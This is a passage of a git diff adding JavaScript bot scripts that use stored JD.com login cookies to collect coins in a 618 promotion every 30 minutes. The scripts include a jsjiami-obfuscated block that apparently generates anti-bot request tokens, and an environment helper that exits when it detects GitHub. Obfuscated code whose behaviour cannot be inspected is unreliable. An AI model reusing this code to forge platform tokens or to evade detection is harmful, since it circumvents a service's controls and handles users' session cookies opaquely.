_0xd7dc9a=[],_0x5d3cd2=0x0;_0x5cbfa7[_0x5d0f('8a','uF8H')](_0x5d3cd2,_0x5c4631[_0x5d0f('8b','s^4*')]);_0x5d3cd2++)_0xd7dc9a[_0x5d0f('8c','@w&B')](_0x5cbfa7[_0x5d0f('8d','hL8D')](_0x5c4631[_0x5d3cd2],0x4)[_0x5d0f('6c','JM[s')](0x10)),_0xd7dc9a[_0x5d0f('8e','BwIe')](_0x5cbfa7[_0x5d0f('8f','JM[s')](0xf,_0x5c4631[_0x5d3cd2])['toString'](0x10));return _0xd7dc9a[_0x5d0f('90','YVDs')]('');}}var _0x10fdaf=_0x5cbfa7[_0x5d0f('91','F]wS')](_0x5cbfa7[_0x5d0f('92','hg0S')](_0x5cbfa7['stmBC'](_0x9d2c54,0x5)|_0x9d2c54>>>0x1b,_0x9c56c)+_0x5cbfa7[_0x5d0f('93','JUrC')](_0x14e96a[_0x41cfc2],0x0),_0x5cbfa7[_0x5d0f('94','BI(P')](_0x41cfc2,0x14)?0x5a827999+_0x5cbfa7['MgAbI'](_0x46e3b3&_0x566d39,~_0x46e3b3&_0x449b67):_0x41cfc2<0x28?0x6ed9eba1+_0x5cbfa7['wtRUG'](_0x5cbfa7[_0x5d0f('95','CTFi')](_0x46e3b3,_0x566d39),_0x449b67):_0x5cbfa7[_0x5d0f('96','s^4*')](_0x41cfc2,0x3c)?_0x5cbfa7['rahHa'](_0x5cbfa7[_0x5d0f('97','^r[Y')](_0x5cbfa7[_0x5d0f('98','^r[Y')](_0x46e3b3,_0x566d39),_0x5cbfa7[_0x5d0f('99','uKab')](_0x46e3b3,_0x449b67)),_0x5cbfa7[_0x5d0f('9a','b^!y')](_0x566d39,_0x449b67))-0x70e44324:_0x5cbfa7[_0x5d0f('9b','JUrC')](_0x5cbfa7[_0x5d0f('9c','LiYN')](_0x46e3b3,_0x566d39)^_0x449b67,0x359d3e2a));_0x9c56c=_0x449b67,_0x449b67=_0x566d39,_0x566d39=_0x5cbfa7[_0x5d0f('9d','JUrC')](_0x46e3b3,0x1e)|_0x46e3b3>>>0x2,_0x46e3b3=_0x9d2c54,_0x9d2c54=_0x10fdaf;}_0x9d2c54+=_0x43baf2,_0x46e3b3+=_0x4d1431,_0x566d39+=_0x28709e,_0x449b67+=_0x3c6a2f,_0x9c56c+=_0x26aa9c;}return[_0x9d2c54,_0x46e3b3,_0x566d39,_0x449b67,_0x9c56c];};_0xodZ='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_zooCollect.js b/jd_zooCollect.js new file mode 100644 index 0000000..81253a6 --- /dev/null +++ b/jd_zooCollect.js @@ -0,0 +1,151 @@ +/* +#618动物联萌专门收集金币 +活动入口:京东app首页浮动窗口 +仅仅是收集一下618动物联萌活动每秒产生的金币 +每30分运行一次 +============Quantumultx=============== +[task_local] +#618动物联萌收集金币 +0-59/30 * * * * jd_zooCollect.js, tag=618动物联萌收集金币, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0-59/30 * * * *" script-path=jd_zooCollect.js,tag=618动物联萌收集金币 + +===============Surge================= +618动物联萌收集金币 = type=cron,cronexp="0-59/30 * * * *",wake-system=1,timeout=3600,script-path=jd_zooCollect.js + +============小火箭========= +618动物联萌收集金币 = type=cron,script-path=jd_zooCollect.js, cronexpr="0-59/30 * * * *", timeout=3600, enable=true + */ +const $ = new Env('618动物联萌收集金币'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', secretp = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`\n小功能::仅仅是收集一下618动物联萌领金币每秒产生的金币,建议30分钟执行一次脚本\n`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + continue + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main() + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function main() { + await getHomeData(); + if ($.secretp) { + secretp = $.secretp; + await stall_collectProduceScore({ "ss": getBody() }); + } +} +function stall_collectProduceScore(body) { + return new Promise((resolve) => { + $.post(taskPostUrl('zoo_collectProduceScore', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.code === 0) { + if (data && data.data.bizCode === 0) { + console.log(`京东账号${$.index} ${$.nickName}成功收集金币:${data.data.result.produceScore}个`) + } else { + console.log(`京东账号${$.index} ${$.nickName}成功收集金币失败:${data.data.bizMsg}`) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getHomeData() { + return new Promise((resolve) => { + $.post(taskPostUrl('zoo_getHomeData'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + if (data && data.data['bizCode'] === 0) { + $.secretp = data.data.result.homeMainInfo.secretp; + } + } else { + console.log(`zoo_getHomeData异常:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://wbbny.m.jd.com', + 'Referer': 'https://wbbny.m.jd.com/babelDiy/Zeus/2s7hhSTbhMgxpGoa9JDnbDzJTaBB/index.html', + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +var _0xodZ='jsjiami.com.v6',_0x10d2=[_0xodZ,'w5nCgMKqwoIdGUrDjGYKw7IQ','flvDj8KEw64bfXFyIsKOcQ==','wpx3fwlO','w6rCg8OrW00=','wqzDtybCl8ON','wp8bw4XDjsOe','WngiwrU6','w5MOwprDtMK3Y8KxNVhewo3Dl1sa','bG1KwpvDgA==','SRLDuEjDscOhY8KywqfDnQzDqQ==','w63Ds8K8wpMe','w4V9w493w55hNXhXGsOlRw==','TmvChB8C','VsO5SVJ5KkjCvsOkwoTCqsOW','w5fCr8K8MQo=','wrpcHMO3JA==','wpdCwozDkMKR','YVACwqce','wrPCv8KZGSE=','wr4Rw7vDrMON','wpPCkhTCrkbCol7CqWRn','wpVqcQck','TsOmTTV+','asKPw5/Cmgw=','ZMK+RcKjGA==','b2hLwqvDnQ==','w5XDu8KuwrsD','UcOJWyFJ','wqXCucOjwqXDow==','w7fCkcKmwrkY','wonDk8O7wq16','wpPCu8OlwoTDmw==','w48EVMKAw6s=','BW3CmywK','w67CocKOwqUZ','ZcKRScKUCQ==','Ql7DicK4w4Y=','wqJFAMOFwrk=','wr7DocOpwqVI','w5LDtCLDhMKU','wrQDw5bDgMOq','wq3DvCrCqsOx','wpvCscK9BjI=','wqJTdy0L','wrzCqC3Dgko=','w6x/w5B7bhLDscKYYMK9BsOSfS4bw74ZI09EwqU8w6AQLHLDpsKkwpt6eCEZVTFmwrczw4ETw6oJTAEIw5vCsXDCjyhYXivDrQ7DgRJPIcK0w7VmT8ODw6TCgUo7ITAaDsO6IiPDpcKObcK3UMOVwq4Vwp1vw6suwrRDwrISw78DwqTDtMKMwrHDtsObSMK6KcKaTsOkw4zDgcKwDcKB','w5vDusK7w5TDn8K1acKPdTLCv2o=','w6g/esK+w5I=','P8KdW0py','w67CnsOeXFc=','w7vDu8KMwoImw5EDwqc=','wqwlw7/DrMOt','w5UAwp4=','TMK9Z1dZdw==','CmLCkSlo','woVmw5NFw6l7IXlgSMKw','w6MGwqbCm2dbblXClydZ','w4bDisOlwonCmg==','wpzCs8Oqwr7Dnw==','O1PDncKiUQ==','wr7Cq8OywqbDtw==','bsObdjxT','wo49w6fDtMOF','LcK/RnNY','woZ5bC9S','wpvDncOMwrhOw6PDmws=','w4tLSsKgFw==','w53CuH/DnsO2','wq7ChsONwr7DsA==','w5kfwr7DmMK0','w5bDnQHDisKm','wplcPcO8wo0=','w4zChsKowq0d','wptcwqrDt8K9','w40ke8Kyw4c=','w5ZPw4RleA==','wpfCjsK7PD4=','w5fDjFvDlcKM','w5hCVcKqAg==','wqfDoDLCkcOi','wrLDpy7CtMOU','QGzCmjchw4Q=','QMO+VVc=','wqLCs8OlwozDgA==','w7rDi8O6wo0=','w77DgsKOwoMD','YwY7woA=','KFLChSoc','YcKORsKhDQ==','w4cfV8KLw5k=','XcO8Uito','w5jCqcKZNA8=','SnrChTcg','VsOiJ24w','VMOgP18F','wqJIO8OZwqs=','VMK2w4XClig=','w6wjQsKyw5Q=','w4Ivwqhqaw==','w70neMKTw6M=','wopTH8OLwqY=','wowrw5jDrsO7','CcKmXXxu','w6/DgjrDisKUPA==','w73CosOXX8OkdA==','w7d0w7dTTw==','XBJgwpXCl8Kaw4cn','w7LCr8OYSsOTc29Jwrot','wojCl8OGwqTDujDDmcKRFsK3','CHzCqgIj','wop6XDJrw6wpwrk=','wp3Dl8OvwqBdw6nDkA==','wqJeBMORwos=','WMKXdMK+Jg==','w4JrY8KuJg==','w7TCuk/DvcOa','w5fCtcOzVU0I','w5ZXbMKuAjU=','Xholwr/CvA==','wo3Dmh7CkMOQ','w6thw7gJw6I=','AMKiQWlQ','w49qw459w6lh','YA8Vw5PDvQ==','wpNtZTFa','w50kwohOXQ==','wodqBMO5JMO3','wpzCnxvCu3HCpQ==','w6I2e8K2w5QT','DW/DqcKgXMKmwqw1E20=','VcODHUI=','wpnCjxrDu0A=','wohlZS8kw5bCrg==','Ck/DocKBWA==','woHDosO+wpp0','w7A2wovDusKk','w4dCw5Ym','w63CpVPDnMO0','USA8wrzCsBobasOHCA==','XxsHw4DDuA==','B0DChS4Pw7M=','YRPDoVTDpw==','w5cKwofDnMK0ZQ==','a2XCgB86','w5DDghPDmcKF','bRZ1woXCgw==','eRwhwoY=','w7o8RsKlw5ISwpLDgg==','wp5fwozDlcKq','w6PDscKxwpEgw5A=','csOnOW8j','wrfDvD7CocOiLEvCjAFQ','woPDl8OxwqtIw6I=','w6bCpcO+b8OT','wqXCvBTCo1w=','VQ81FjDCrcOg','S0rCtwAR','w5LDv0/DpsK8','ECjwlHTsjiLaXmi.ATzVqqcom.Gv6=='];(function(_0x3af7b2,_0xef381f,_0x5991ff){var _0x23152b=function(_0x3edb8e,_0x5bf10d,_0x4806de,_0x2ad583,_0x2541f8){_0x5bf10d=_0x5bf10d>>0x8,_0x2541f8='po';var _0x271348='shift',_0x1e1d6a='push';if(_0x5bf10d<_0x3edb8e){while(--_0x3edb8e){_0x2ad583=_0x3af7b2[_0x271348]();if(_0x5bf10d===_0x3edb8e){_0x5bf10d=_0x2ad583;_0x4806de=_0x3af7b2[_0x2541f8+'p']();}else if(_0x5bf10d&&_0x4806de['replace'](/[ECwlHTLXATzVqqG=]/g,'')===_0x5bf10d){_0x3af7b2[_0x1e1d6a](_0x2ad583);}}_0x3af7b2[_0x1e1d6a](_0x3af7b2[_0x271348]());}return 0x8dc47;};return _0x23152b(++_0xef381f,_0x5991ff)>>_0xef381f^_0x5991ff;}(_0x10d2,0x64,0x6400));var _0x5d0f=function(_0x27842b,_0xf82ddd){_0x27842b=~~'0x'['concat'](_0x27842b);var _0x3feb27=_0x10d2[_0x27842b];if(_0x5d0f['JzCYFE']===undefined){(function(){var _0x5a67c0=function(){var _0xbaf440;try{_0xbaf440=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3cf27a){_0xbaf440=window;}return _0xbaf440;};var _0x544084=_0x5a67c0();var _0xe48a6c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x544084['atob']||(_0x544084['atob']=function(_0x1f5173){var _0x41e4dc=String(_0x1f5173)['replace'](/=+$/,'');for(var _0x3148f4=0x0,_0x502018,_0x12e8c9,_0x2a589c=0x0,_0x3a9d1a='';_0x12e8c9=_0x41e4dc['charAt'](_0x2a589c++);~_0x12e8c9&&(_0x502018=_0x3148f4%0x4?_0x502018*0x40+_0x12e8c9:_0x12e8c9,_0x3148f4++%0x4)?_0x3a9d1a+=String['fromCharCode'](0xff&_0x502018>>(-0x2*_0x3148f4&0x6)):0x0){_0x12e8c9=_0xe48a6c['indexOf'](_0x12e8c9);}return _0x3a9d1a;});}());var _0x2f0f2e=function(_0x3cd7b7,_0xf82ddd){var _0x4420fb=[],_0x239f09=0x0,_0x238c64,_0x46a902='',_0x2c41c0='';_0x3cd7b7=atob(_0x3cd7b7);for(var _0xfddccd=0x0,_0x8808ca=_0x3cd7b7['length'];_0xfddccd<_0x8808ca;_0xfddccd++){_0x2c41c0+='%'+('00'+_0x3cd7b7['charCodeAt'](_0xfddccd)['toString'](0x10))['slice'](-0x2);}_0x3cd7b7=decodeURIComponent(_0x2c41c0);for(var _0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x4420fb[_0x335a92]=_0x335a92;}for(_0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x239f09=(_0x239f09+_0x4420fb[_0x335a92]+_0xf82ddd['charCodeAt'](_0x335a92%_0xf82ddd['length']))%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;}_0x335a92=0x0;_0x239f09=0x0;for(var _0x236fba=0x0;_0x236fba<_0x3cd7b7['length'];_0x236fba++){_0x335a92=(_0x335a92+0x1)%0x100;_0x239f09=(_0x239f09+_0x4420fb[_0x335a92])%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;_0x46a902+=String['fromCharCode'](_0x3cd7b7['charCodeAt'](_0x236fba)^_0x4420fb[(_0x4420fb[_0x335a92]+_0x4420fb[_0x239f09])%0x100]);}return _0x46a902;};_0x5d0f['EvfSsd']=_0x2f0f2e;_0x5d0f['kZTgYH']={};_0x5d0f['JzCYFE']=!![];}var _0x1e162e=_0x5d0f['kZTgYH'][_0x27842b];if(_0x1e162e===undefined){if(_0x5d0f['ttjIbk']===undefined){_0x5d0f['ttjIbk']=!![];}_0x3feb27=_0x5d0f['EvfSsd'](_0x3feb27,_0xf82ddd);_0x5d0f['kZTgYH'][_0x27842b]=_0x3feb27;}else{_0x3feb27=_0x1e162e;}return _0x3feb27;};function randomWord(_0x3cbcd9,_0x208412,_0x2a37b4){var _0x360b19={'coSFR':function(_0x4dfa7b,_0x483edf){return _0x4dfa7b<_0x483edf;},'VOacp':function(_0x29f85b,_0x471a22){return _0x29f85b^_0x471a22;},'cYAKX':function(_0x4607f5,_0x1fe932){return _0x4607f5%_0x1fe932;},'TKRPe':function(_0x5e2494,_0x219d87){return _0x5e2494!==_0x219d87;},'WBjjp':_0x5d0f('0','uKab'),'xuWNa':function(_0x4bde36,_0x4c9b16){return _0x4bde36+_0x4c9b16;},'xYagP':function(_0x41ca2a,_0x9bc70a){return _0x41ca2a-_0x9bc70a;},'jsuBK':function(_0x339931,_0x5667a7){return _0x339931<_0x5667a7;}};let _0x53412f='',_0x163269=_0x208412,_0x3f3a67=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];if(_0x3cbcd9){if(_0x360b19['TKRPe'](_0x360b19['WBjjp'],_0x360b19[_0x5d0f('1','VkdQ')])){let _0x36d461=[],_0x4329fe,_0x448170=0x0;for(let _0x3166a1=0x0;_0x360b19[_0x5d0f('2','[UVd')](_0x3166a1,time['toString']()[_0x5d0f('3','O3*%')]);_0x3166a1++){_0x448170=_0x3166a1;if(_0x448170>=nonstr['length'])_0x448170-=nonstr[_0x5d0f('4','%iLq')];_0x4329fe=_0x360b19[_0x5d0f('5','M&d@')](time[_0x5d0f('6','pIyP')]()[_0x5d0f('7','%iLq')](_0x3166a1),nonstr[_0x5d0f('8','hL8D')](_0x448170));_0x36d461['push'](_0x360b19[_0x5d0f('9','F]wS')](_0x4329fe,0xa));}return _0x36d461[_0x5d0f('a','UhSj')]()[_0x5d0f('b','Q1q0')](/,/g,'');}else{_0x163269=_0x360b19[_0x5d0f('c','uKab')](Math[_0x5d0f('d','hg0S')](Math['random']()*_0x360b19[_0x5d0f('e',']E&A')](_0x2a37b4,_0x208412)),_0x208412);}}for(let _0x4072f2=0x0;_0x360b19[_0x5d0f('f','h8!g')](_0x4072f2,_0x163269);_0x4072f2++){pos=Math['round'](Math['random']()*(_0x3f3a67['length']-0x1));_0x53412f+=_0x3f3a67[pos];}return _0x53412f;}function minusByByte(_0x2d18ad,_0x3698d9){var _0x263f0d={'lRxqO':function(_0x263dcb,_0x41f220){return _0x263dcb(_0x41f220);},'YNACq':function(_0x5a82a3,_0x154b13){return _0x5a82a3(_0x154b13);},'FLGAS':function(_0x1684d4,_0x5179b4){return _0x1684d4!==_0x5179b4;},'TktEK':function(_0x4d4caa,_0x393715,_0x5dbdd6){return _0x4d4caa(_0x393715,_0x5dbdd6);},'jkOSl':function(_0x137c15,_0x474cba){return _0x137c15<_0x474cba;}};var _0x43b269=_0x2d18ad[_0x5d0f('10','x7xC')],_0x8e7b03=_0x3698d9[_0x5d0f('11',']E&A')],_0x2225c3=Math['max'](_0x43b269,_0x8e7b03),_0x1e3cd9=_0x263f0d[_0x5d0f('12','Zru9')](toAscii,_0x2d18ad),_0x50d743=_0x263f0d[_0x5d0f('13','uF8H')](toAscii,_0x3698d9),_0x35b76c='',_0x5ccab3=0x0;for(_0x263f0d[_0x5d0f('14','X5GX')](_0x43b269,_0x8e7b03)&&(_0x1e3cd9=_0x263f0d['TktEK'](add0,_0x1e3cd9,_0x2225c3),_0x50d743=this['add0'](_0x50d743,_0x2225c3));_0x263f0d[_0x5d0f('15','[UVd')](_0x5ccab3,_0x2225c3);)_0x35b76c+=Math['abs'](_0x1e3cd9[_0x5ccab3]-_0x50d743[_0x5ccab3]),_0x5ccab3++;return _0x35b76c;}function getKey(_0x34f5bd,_0x261c7d){var _0x2459f7={'jfrto':function(_0x4fed75,_0x53bbce){return _0x4fed75*_0x53bbce;},'pyOOK':function(_0x43603c,_0x11bfc1){return _0x43603c<_0x11bfc1;},'HcLbO':function(_0x28fd93,_0x4dc312){return _0x28fd93!==_0x4dc312;},'mxjwC':'KLtcw','nclsN':function(_0x5d917a,_0x111a7a){return _0x5d917a>=_0x111a7a;},'qCuzy':function(_0x5ed516,_0x2b7e48){return _0x5ed516%_0x2b7e48;}};let _0x7777bf=[],_0x47261f,_0x1c2210=0x0;for(let 